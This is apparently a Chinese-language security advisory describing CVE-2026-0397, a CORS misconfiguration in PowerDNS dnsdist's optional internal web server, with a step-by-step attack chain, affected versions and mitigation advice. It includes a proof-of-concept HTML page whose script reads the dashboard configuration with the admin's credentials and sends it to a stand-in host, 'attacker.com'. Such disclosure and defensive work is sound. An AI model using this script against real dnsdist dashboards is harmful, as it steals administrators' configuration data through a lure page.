CVE-2026-0397 CVSS 3.1 低危

CVE-2026-0397 PowerDNS dnsdist CORS配置错误漏洞

披露日期: 2026-03-31

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-0397

漏洞类型

跨域资源共享(CORS)配置不当

CVSS评分

3.1 低危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

PowerDNS dnsdist

漏洞概述

CVE-2026-0397 是一个存在于 PowerDNS dnsdist 中的安全漏洞。该漏洞源于内部 Web 服务器的跨域资源共享（CORS）策略配置不当。在默认情况下，内部 Web 服务器是禁用的，但如果管理员启用了该功能，攻击者可能利用此漏洞诱骗已登录的管理员访问恶意网站。随后，攻击者可以借此从仪表板中提取有关当前运行配置的敏感信息。

技术细节

该漏洞的核心在于 PowerDNS dnsdist 的内部 Web 服务器对 CORS 头部处理不当。CORS 机制允许服务器指定哪些外部域可以访问其资源。如果配置错误（例如，允许任意 Origin 或不加验证地反射请求头中的 Origin），浏览器将放松同源策略限制。

攻击流程如下：攻击者构建一个恶意网页，其中包含针对 dnsdist 仪表板端点（如 /api/v1/servers/localhost/config）的 JavaScript 请求。当管理员在浏览器中保持登录状态并访问该恶意页面时，脚本会发起跨域请求。由于 CORS 策略宽松，浏览器不会拦截响应，恶意脚本即可读取返回的配置数据，并将其发送到攻击者控制的服务器。整个过程需要用户交互（点击链接或访问页面），且主要威胁机密性。

攻击链分析

STEP 1

侦察与准备

攻击者确认目标启用了 PowerDNS dnsdist 的内部 Web 服务器，并准备托管一个包含恶意 JavaScript 代码的网站。

STEP 2

社会工程学攻击

攻击者通过钓鱼邮件或其他方式诱导已登录 dnsdist 仪表板的管理员访问攻击者准备的恶意网站。

STEP 3

发起跨域请求

当管理员访问恶意网页时，页面中的 JavaScript 脚本向本地的 dnsdist 仪表板接口发起跨域 HTTP 请求。

STEP 4

数据提取

由于 CORS 策略配置错误，浏览器允许恶意网页读取请求的响应内容，从而获取敏感的配置信息。

STEP 5

数据外带

恶意脚本将获取到的配置数据发送到攻击者控制的服务器，完成信息窃取。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- PoC for CVE-2026-0397 CORS Misconfiguration -->
<!-- Save as exploit.html and host on attacker server -->
<!DOCTYPE html>
<html>
<body>
<h2>CVE-2026-0397 PoC</h2>
<script>
// Target the internal webserver endpoint
const targetUrl = 'http://dnsdist-admin:8083/api/v1/servers/localhost/config';

fetch(targetUrl, {
    method: 'GET',
    credentials: 'include' // Include cookies if admin is logged in
})
.then(response => response.text())
.then(data => {
    console.log('Exfiltrated Data:', data);
    // Send data to attacker's server
    fetch('https://attacker.com/log?q=' + encodeURIComponent(data));
})
.catch(error => console.error('Error:', error));
</script>
</body>
</html>

影响范围

PowerDNS dnsdist 1.8.0

PowerDNS dnsdist 1.7.0

PowerDNS dnsdist 1.6.0

防御指南

临时缓解措施

如果无法立即升级，建议禁用 dnsdist 的内部 Web 服务器功能，或通过防火墙规则限制仅允许受信任的 IP 地址访问管理端口，从而降低被攻击的风险。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表